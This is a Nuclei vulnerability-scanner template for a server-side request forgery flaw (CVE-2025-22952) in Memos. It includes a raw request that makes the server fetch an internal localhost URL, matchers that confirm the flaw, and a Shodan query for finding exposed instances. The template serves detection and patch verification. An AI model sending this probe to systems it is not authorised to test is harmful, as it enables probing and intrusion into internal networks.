Elestio Memos <= v0.24.0 - Server-Side Request Forgery

ID: CVE-2025-22952

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2025,elestio,memos,ssrf,oast

Description

elestio memos v0.23.0 is vulnerable to Server-Side Request Forgery (SSRF) due to insufficient validation of user-supplied URLs, which can be exploited to perform SSRF attacks.

YAML Source

id: CVE-2025-22952

info:
  name: Elestio Memos <= v0.24.0 - Server-Side Request Forgery
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    elestio memos v0.23.0 is vulnerable to Server-Side Request Forgery (SSRF) due to insufficient validation of user-supplied URLs, which can be exploited to perform SSRF attacks.
  reference:
    - https://github.com/advisories/GHSA-wfxg-v3j4-7qmj
    - https://elest.io/open-source/memos
    - https://github.com/usememos/memos
    - https://github.com/usememos/memos/issues/4413
    - https://github.com/usememos/memos/pull/4428
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-22952
    cwe-id: CWE-918
    epss-score: 0.00045
    epss-percentile: 0.18242
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-1924700661
  tags: cve,cve2025,elestio,memos,ssrf,oast

http:
  - raw:
      - |
        GET /api/v1/markdown/link:metadata?link=http://localhost:13042 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'localhost:13042'
          - 'connect: connection refused'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 500
# digest: 4a0a00473045022015fff78fa7aa0f16207bd334b8924dd6e5d2b7be980be1eb3351ad5b30e6436d0221008a8989b749901b47bd8a94ce1414e4768cd2a46b91e7d1d64e77586955e4c744:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-22952.yaml"

View on Github